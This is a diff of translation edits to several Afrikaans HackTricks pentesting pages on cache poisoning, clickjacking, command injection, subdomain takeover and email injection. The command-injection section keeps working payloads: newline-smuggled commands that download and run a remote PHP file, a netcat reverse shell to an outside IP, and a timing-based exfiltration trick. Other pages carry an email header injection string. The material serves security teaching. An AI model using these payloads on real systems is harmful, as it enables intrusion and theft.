* [**toxicache**](https://github.com/xhzeem/toxicache): Golang-skander om webkessievergiftigingskwetsbaarhede in 'n lys van URL's te vind en om verskeie inspuitingstegnieke te toets.
## Verwysings
@ -241,10 +243,10 @@ Leer hier oor hoe om [Cache Misleidingsaanvalle te doen deur die misbruik van HT
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsgereedskappe.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik **werkstrome te bou** en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsgereedskap.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
<details>
@ -252,10 +254,10 @@ Kry Vandag Toegang:
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
@ -10,17 +10,17 @@ Ander maniere om HackTricks te ondersteun:
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
## Wat is Clickjacking
@ -32,7 +32,7 @@ Soms is dit moontlik om die waarde van velde van 'n vorm te **vul deur GET-param
### Vul vorm met Sleep & Plaas
As jy wil hê dat die gebruiker 'n vorm moet **voltooi** maar jy wil hom nie direk vra om sekere inligting te skryf (soos die e-pos en/of spesifieke wagwoord wat jy weet nie), kan jy hom net vra om iets te **Sleep & Plaas** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
As jy wil hê dat die gebruiker 'n vorm moet **voltooi** maar jy wil hom nie direk vra om spesifieke inligting te skryf (soos die e-pos en of spesifieke wagwoord wat jy weet nie), kan jy hom net vra om iets te **Sleep & Plaas** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Basiese Lading
```markup
@ -125,20 +125,20 @@ Skripte wat aan die kliëntkant uitgevoer word, kan aksies uitvoer om Clickjacki
* Voorkom kliek op onsigbare rame.
* Opmerk en waarsku gebruikers van potensiële Clickjacking-pogings.
Nietemin kan hierdie rambreukskripte omseil word:
Hierdie rambreukskripte kan egter omseil word:
* **Webblaaier se Sekuriteitsinstellings:** Sommige webblaaier kan hierdie skripte blokkeer op grond van hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
* **HTML5 iframe `sandbox` Kenmerk:** 'n Aanvaller kan rambreukskripte neutraliseer deur die `sandbox` kenmerk met `allow-forms` of `allow-scripts` waardes sonder `allow-top-navigation` in te stel. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv.,
* **HTML5 iframe `sandbox` Kenmerk:** 'n Aanvaller kan rambreukskripte neutraliseer deur die `sandbox` kenmerk in te stel met `allow-forms` of `allow-scripts` waardes sonder `allow-top-navigation`. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv.,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Die `allow-forms` en `allow-scripts` waardes maak aksies binne die iframe moontlik terwyl top-level navigasie gedeaktiveer word. Om die bedoelde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die aanvalstipe. Blaaierkonsole-boodskappe kan aandui watter toestemmings toegelaat moet word.
Die `allow-forms` en `allow-scripts` waardes maak aksies binne die iframe moontlik terwyl top-level navigasie uitgeskakel word. Om die bedoelde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die aanvalstipe. Blaaierkonsole-boodskappe kan aandui watter toestemmings toegelaat moet word.
### Bedienersyverdedigings
#### X-Frame-Options
Die **`X-Frame-Options` HTTP-antwoordkop** lig blaaier in oor die geldigheid van die weergawe van 'n bladsy in 'n `<frame>` of `<iframe>`, wat help om Clickjacking te voorkom:
Die **`X-Frame-Options` HTTP-antwoordkop** lig blaaier oor die geldigheid van die weergawe van 'n bladsy in 'n `<frame>` of `<iframe>`, wat help om Clickjacking te voorkom:
* `X-Frame-Options: deny` - Geen domein kan die inhoud in 'n raam plaas nie.
* `X-Frame-Options: sameorigin` - Slegs die huidige webwerf kan die inhoud in 'n raam plaas.
@ -153,7 +153,7 @@ Die **`X-Frame-Options` HTTP-antwoordkop** lig blaaier in oor die geldigheid van
* `frame-ancestors 'self'` - Soortgelyk aan `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Soortgelyk aan `X-Frame-Options: allow-from`.
Byvoorbeeld, die volgende CSP staan slegs inlywing van dieselfde domein toe:
Byvoorbeeld, die volgende CSP staan slegs raamwerk van dieselfde domein toe:
`Content-Security-Policy: frame-ancestors 'self';`
@ -184,12 +184,12 @@ Hierdie beleid staan rame en werkers toe van dieselfde oorsprong (self) en https
**Gebruik Notas:**
* Afskaffing: child-src word uitgefaseer ten gunste van frame-src en worker-src.
* Terugvalgedrag: As frame-src afwesig is, word child-src as 'n terugval vir rame gebruik. As beide afwesig is, word default-src gebruik.
* Terugvalgedrag: As frame-src afwesig is, word child-src as 'n terugval vir rame gebruik. As albei afwesig is, word default-src gebruik.
* Streng Brondefinisie: Sluit slegs vertroude bronne in die riglyne in om uitbuiting te voorkom.
#### JavaScript Raam-Breek Skripte
#### JavaScript-raam-brekerskripte
Alhoewel nie heeltemal waterdig nie, kan JavaScript-gebaseerde raam-breek skripte gebruik word om te voorkom dat 'n webbladsy ingelys word. Voorbeeld:
Alhoewel nie heeltemal waterdig nie, kan JavaScript-gebaseerde raam-brekerskripte gebruik word om te voorkom dat 'n webbladsy ingelys word. Voorbeeld:
```javascript
if (top !== self) {
top.location = self.location;
@ -207,10 +207,10 @@ top.location = self.location;
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloeie outomaties** te laat dryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
<details>

View file

@ -8,7 +8,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -16,10 +16,10 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## Wat is opdraginskakeling?
@ -28,8 +28,6 @@ Kry Vandag Toegang:
### Konteks
Afhanklik van **waar jou inset ingespuit word** mag jy die **aanhalingstekenskonteks beëindig** (deur `"` of `'`) voor die opdragte.
## Opdraginskakeling/Uitvoering
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -55,6 +53,8 @@ Indien jy probeer om **willekeurige bevele binne 'n Linux-masjien uit te voer**
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %}
### **Voorbeelde**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
@ -62,7 +62,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Parameters
Hier is die top 25 parameters wat vatbaar kan wees vir kode inspuiting en soortgelyke RCE kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1283133356922884096)):
Hier is die top 25 parameters wat vatbaar kan wees vir kode inspuiting en soortgelyke RCE kwesbaarhede (vanaf [skakel](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -90,9 +90,9 @@ Hier is die top 25 parameters wat vatbaar kan wees vir kode inspuiting en soortg
?run={payload}
?print={payload}
```
### Tydgebaseerde data-eksfiltrering
### Tydgebase data uitlekking
Data word geëkstraeer: karakter vir karakter
Data onttrekking: karakter vir karakter
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -146,7 +146,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -155,7 +155,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}

View file

@ -6,9 +6,9 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -17,10 +17,10 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=domain-subdomain-takeover) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=domain-subdomain-takeover" %}
## Domeinoorneem
@ -28,7 +28,7 @@ As jy 'n domein (domein.tld) ontdek wat **deur 'n diens binne die omvang gebruik
### Subdomein oorneem
'n Subdomein van die maatskappy wys na 'n **derdepartydiens met 'n naam wat nie geregistreer is nie**. As jy 'n **rekening** kan **skep** in hierdie **derdepartydiens** en die **naam** wat gebruik word **registreer**, kan jy die subdomein oorneem.
'n Subdomein van die maatskappy wys na 'n **derdepartydiens met 'n naam wat nie geregistreer is nie**. As jy 'n **rekening** kan **skep** in hierdie **derdepartydiens** en die **naam** wat gebruik word, kan **registreer**, kan jy die subdomein oorneem.
Daar is verskeie gereedskappe met woordeboeke om vir moontlike oornames te kyk:
@ -47,7 +47,7 @@ Daar is verskeie gereedskappe met woordeboeke om vir moontlike oornames te kyk:
#### Skandering vir Oorvatbare Subdomeine met [BBOT](https://github.com/blacklanternsecurity/bbot):
Subdomein oorneem kontroles is ingesluit in BBOT se standaard subdomeinversameling. Handtekeninge word direk gehaal vanaf [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz).
Subdomein oorneem kontroles is ingesluit in BBOT se standaard subdomeinversameling. Handtekeninge word direk van [https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) gehaal.
```bash
bbot -t evilcorp.com -f subdomain-enum
```
@ -57,15 +57,15 @@ Wanneer 'n DNS wildcard in 'n domein gebruik word, sal enige aangevraagde subdom
Byvoorbeeld, as `*.testing.com` wilcarded is na `1.1.1.1`. Dan sal `not-existent.testing.com` na `1.1.1.1` wys.
Maar, as die sysadmin dit in plaas daarvan na 'n **derde party-diens via CNAME** wys, soos 'n **github subdomein** byvoorbeeld (`sohomdatta1.github.io`). 'n Aanvaller kan sy eie derde party-bladsy (in Gihub in hierdie geval) **skep en sê dat `something.testing.com` daarheen wys**. Omdat die **CNAME wildcard** saamstem, sal die aanvaller in staat wees om **willekeurige subdomeine vir die domein van die slagoffer te genereer wat na sy bladsye wys**.
Maar, as dit in plaas daarvan na 'n IP-adres wys, die stelseladministrateur dit na 'n **derde party-diens via CNAME** wys, soos 'n **github subdomein** byvoorbeeld (`sohomdatta1.github.io`). 'n Aanvaller kan sy eie derde party-bladsy (in Gihub in hierdie geval) **skep en sê dat `something.testing.com` daarheen wys**. Omdat die **CNAME wildcard** saamstem, sal die aanvaller in staat wees om **willekeurige subdomeine vir die domein van die slagoffer te genereer wat na sy bladsye wys**.
Jy kan 'n voorbeeld van hierdie kwesbaarheid in die CTF write-up vind: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
Jy kan 'n voorbeeld van hierdie kwesbaarheid in die CTF-verslag vind: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
## Uitbuiting van 'n subdomein-oornaam
Subdomein-oornaam is in wese DNS-spoofing vir 'n spesifieke domein regoor die internet, wat aanvallers in staat stel om A-rekords vir 'n domein in te stel, wat daartoe lei dat webblaaie inhoud van die aanvaller se bediener wys. Hierdie **deursigtigheid** in webblaaie maak domeine vatbaar vir hengel. Aanvallers kan [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) of [_Doppelganger-domeine_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) vir hierdie doel gebruik. Veral vatbaar is domeine waar die URL in 'n hengel-e-pos legitiem lyk, wat gebruikers mislei en spamfilters ontduik as gevolg van die domein se inherente vertroue.
Kyk na hierdie [pos vir verdere besonderhede](https://0xpatrik.com/subdomain-takeover/)
Kyk na hierdie [berig vir verdere besonderhede](https://0xpatrik.com/subdomain-takeover/)
### **SSL-sertifikate**
@ -73,13 +73,13 @@ SSL-sertifikate, indien deur aanvallers gegenereer via dienste soos [_Let's Encr
### **Koekie-sekuriteit en webblaaier-deursigtigheid**
Webblaaier-deursigtigheid strek ook tot koekie-sekuriteit, wat geregeer word deur beleide soos die [Samesprong-beleid](https://en.wikipedia.org/wiki/Same-origin\_policy). Koekies, dikwels gebruik om sessies te bestuur en aanmeldingstokens te stoor, kan deur subdomein-oornaam uitgebuit word. Aanvallers kan **sessiekoekies versamel** deur eenvoudig gebruikers na 'n gekompromitteerde subdomein te rig, wat gebruikersdata en privaatheid in gevaar bring.
Webblaaier-deursigtigheid strek ook tot koekie-sekuriteit, wat geregeer word deur beleide soos die [Selfde-oorsprong-beleid](https://en.wikipedia.org/wiki/Same-origin\_policy). Koekies, dikwels gebruik om sessies te bestuur en aanmeldingstokens te stoor, kan deur subdomein-oornaam uitgebuit word. Aanvallers kan **sessiekoekies versamel** deur eenvoudig gebruikers na 'n gekompromitteerde subdomein te rig, wat gebruikersdata en privaatheid in gevaar bring.
### **E-posse en subdomein-oornaam**
'n Ander aspek van subdomein-oornaam behels e-posdienste. Aanvallers kan **MX-rekords** manipuleer om e-pos van 'n legitieme subdomein te ontvang of te stuur, wat die doeltreffendheid van hengelaanvalle verhoog.
'n Ander aspek van subdomein-oornaam behels e-posdienste. Aanvallers kan **MX-rekords** manipuleer om e-posse van 'n legitieme subdomein te ontvang of te stuur, wat die doeltreffendheid van hengelaanvalle verhoog.
### **Hoër Orde Risiko's**
### **Hoër Orde-risiko's**
Verdere risiko's sluit **NS-rekord-oornaam** in. As 'n aanvaller beheer oor een NS-rekord van 'n domein verkry, kan hulle moontlik 'n gedeelte van die verkeer na 'n bediener onder hul beheer rig. Hierdie risiko word versterk as die aanvaller 'n hoë **TTL (Tyd om te Lewe)** vir DNS-rekords instel, wat die duur van die aanval verleng.
@ -93,7 +93,7 @@ Versagtingsstrategieë sluit in:
1. **Verwydering van kwesbare DNS-rekords** - Dit is doeltreffend as die subdomein nie meer benodig word nie.
2. **Eis die domeinnaam op** - Registreer die hulpbron by die betrokke wolkverskaffer of koop 'n vervalde domein terug.
3. **Gereelde monitering vir kwesbaarhede** - Gereedskap soos [aquatone](https://github.com/michenriksen/aquatone) kan help om vatbare domeine te identifiseer. Organisasies moet ook hul infrastruktuurbestuursprosesse hersien, om te verseker dat DNS-rekord-skepping die laaste stap in hulpbron-skepping is en die eerste stap in hulpbron-vernietiging.
3. **Gereelde monitering vir kwesbaarhede** - Gereedskappe soos [aquatone](https://github.com/michenriksen/aquatone) kan help om vatbare domeine te identifiseer. Organisasies moet ook hul infrastruktuurbestuursprosesse hersien, om te verseker dat DNS-rekordskepping die laaste stap in hulpbronopstelling is en die eerste stap in hulpbrondesintegrasie.
Vir wolkverskaffers is die verifikasie van domeineienaarskap krities om subdomein-oornames te voorkom. Sommige, soos [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/), het hierdie probleem herken en domeinverifikasiemeganismes geïmplementeer.
@ -104,10 +104,10 @@ Vir wolkverskaffers is die verifikasie van domeineienaarskap krities om subdomei
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=domain-subdomain-takeover) om maklik werkstrome te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=domain-subdomain-takeover" %}
<details>
@ -115,7 +115,7 @@ Kry Vandag Toegang:
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -3,10 +3,10 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections) om maklik te bou en **werkstrome outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
<details>
@ -24,7 +24,7 @@ Ander maniere om HackTricks te ondersteun:
## Spuit in gestuurde e-pos
### Spuit Cc en Bcc na die afsender-argument
### Spuit Cc en Bcc na afstuurderargument
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
@ -66,13 +66,13 @@ Parameter #4 [ <optional> $additional_parameters ]
Hierdie afdeling gaan gebaseer wees op **hoe om hierdie parameter te misbruik as 'n aanvaller dit beheer**.
Hierdie parameter gaan bygevoeg word tot die bevellyn wat PHP gaan gebruik om die binêre sendmail aan te roep. Dit sal egter gesaniteer word met die funksie `escapeshellcmd($additional_parameters)`.
Hierdie parameter gaan by die bevellyn gevoeg word wat PHP gaan gebruik om die binêre sendmail aan te roep. Dit sal egter gesaniteer word met die funksie `escapeshellcmd($additional_parameters)`.
'n Aanvaller kan **ekstra parameters vir sendmail inspuit** in hierdie geval.
#### Verskille in die implementering van /usr/sbin/sendmail
Die **sendmail**-koppelvlak word **verskaf deur die MTA e-pos sagteware** (Sendmail, Postfix, Exim ens.) wat op die stelsel geïnstalleer is. Alhoewel die **basiese funksionaliteit** (soos -t -i -f parameters) dieselfde bly vir versoenbaarheidsredes, **ander funksies en parameters** verskil aansienlik afhangende van die geïnstalleerde MTA.
Die **sendmail**-koppelvlak word **verskaf deur die MTA e-pos sagteware** (Sendmail, Postfix, Exim ens.) wat op die stelsel geïnstalleer is. Alhoewel die **basiese funksionaliteit** (soos -t -i -f parameters) dieselfde bly vir versoenbaarheidsredes, **ander funksies en parameters** verskil aansienlik afhangende van die MTA wat geïnstalleer is.
Hier is 'n paar voorbeelde van verskillende manbladsye van die sendmail-opdrag/koppelvlak:
@ -90,11 +90,11 @@ Die simbole: **+, -** en **{}** kan in seldsame gevalle gebruik word vir merking
* Byvoorbeeld john.doe+intigriti@example.com → john.doe@example.com
**Opmerkings tussen hakies ()** aan die begin of einde sal ook geïgnoreer word
